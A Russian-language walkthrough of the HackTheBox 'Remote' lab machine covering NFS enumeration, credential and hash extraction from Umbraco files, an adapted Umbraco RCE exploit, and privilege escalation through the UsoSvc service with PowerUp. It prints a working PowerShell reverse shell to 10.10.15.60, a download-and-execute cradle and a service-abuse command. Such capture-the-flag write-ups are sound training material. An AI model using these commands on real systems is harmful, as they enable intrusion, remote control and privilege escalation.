HackTheBox. Прохождение Remote. NFS, RCE в CMS Umbraco и LPE через UsoSvc

Информационная безопасностьCTF
Tutorial

Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье копаемся в NFS ресурсе, разбираемся с RCE эксплоитом для CMS Umbraco и находим вектор LPE через UsoSvc с помощью PowerUp.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.180, который я добавляю в /etc/hosts.

10.10.10.180 	remote.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.180 --rate=500



На хосте открыто много портов. Теперь просканируем их с помощью nmap, чтобы отфильтровать и выбрать нужные.
nmap remote.htb -p49680,49667,49666,49665,80,139,49678,5985,135,49679,111,445,47001,2049,49664,21



Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.

nmap -A remote.htb -p49680,49667,49666,49665,80,139,49678,5985,135,49679,111,445,47001,2049,49664,21



Порт 111 отвечает за NFS (позволяет монтировать удалённые файловые системы через сеть). Давайте посмотрим список ресурсов.



Имеем доступные ресурсы, давайте примонтируем данный ресурс.



И в данной директории находим Web.config и папку Umbraco. Umbraco является платформой системы управления контентом с открытым исходным кодом.



Таким образом нам, нам нужно посмотреть все конфиги, а также узнать версию Umbraco. Вот что можно отметить в Web.Config.





Находим учетные данные для smtp и версию Umbraco: 7.12.4. Корая является уязвимой, если имеются учетные данные.

Entry Point




Дальше я вывел все файлы и каталоги, которые имеются на удаленном сервере, чтобы выбрать и просмотреть файлы, которые представляют интерес.
ls -lR ./









После того, как круг файлов ограничен, следует их просмотреть (можно поверхностно используя grep для выбора таких строк как: user, login, pass, vers, и т.п.). Так находим информацию о существовании двух пользователей:





После этого, еще раз проходимся grep’ом в поисках строк admin и ssmith. И находим хеши для данных пользователей.





И успешно взламываем пароль администратора.



Если посмотреть базу exploit-db, то там есть готовый exploit, но его нужно чуть изменить.



USER


Во-первых: укажем учетные данные и хост.



Во-вторых: изменим нагрузку, указав исполняемый файл и параметры к нему. В данном случае, для теста используем ping.



Как только программа отработает, в tcpdump мы увидим пакеты ICMP.





Давайте загрузим следующий реверс-шелл:
$client = New-Object System.Net.Sockets.TCPClient('10.10.15.60',4321)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()


Сохраним его в shell.ps1, запустим на локальной машине http сервер.
sudo python3 -m http.server

Изменим нагрузку.



И выполнив, получим бэкконнект.



На сервере нет пользовательских директорий, поэтому находим флаг в доступной для всех Public.



ROOT


Посмотрев информацию о пользователе, замечаем интересную привилегию.



Но так как это Windows Server 2019, то имперсонировать токен для LPE не выйдет.



Давайте используем PowerUp для поиска вектора LPE. Загрузим его с локального хоста и выполним полную проверку.
iex (New-Object Net.WebClient).DownloadString('http://10.10.15.60/tools/PowerUp.ps1');Invoke-AllChecks



И мы имеем разрешения на Update Orchestrator Service. Cлужба обновления Orchestrator — это служба, которая организует для вас обновления Windows. Этот сервис отвечает за загрузку, установку и проверку обновлений для компьютера.

Создадим второй shell (изменим в первом порт) и загрузим его на машину.
wget http://10.10.15.60/shell2.ps1 -O C:\Windows\Temp\shell2.ps1

И теперь запустим с помощью UsoSvc.
Invoke-ServiceAbuse -Name UsoSvc -Command "cmd.exe /c powershell C:\Windows\Temp\shell2.ps1"



И получаем бэкконнект.



Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Теги:pentestpentestingralf_rtинформационная безопасностьctfhtbred teamred teaming
Хабы: Информационная безопасность CTF
+6
2k 23
Комментировать

Похожие публикации

Team Lead 2.0
28 января 202190 000 ₽OTUS
Безопасность Linux
12 февраля 202130 000 ₽OTUS
Основы вёрстки сайтов
18 января 202120 000 ₽Loftschool
SEO-специалист
18 января 202164 900 ₽Нетология

Лучшие публикации за сутки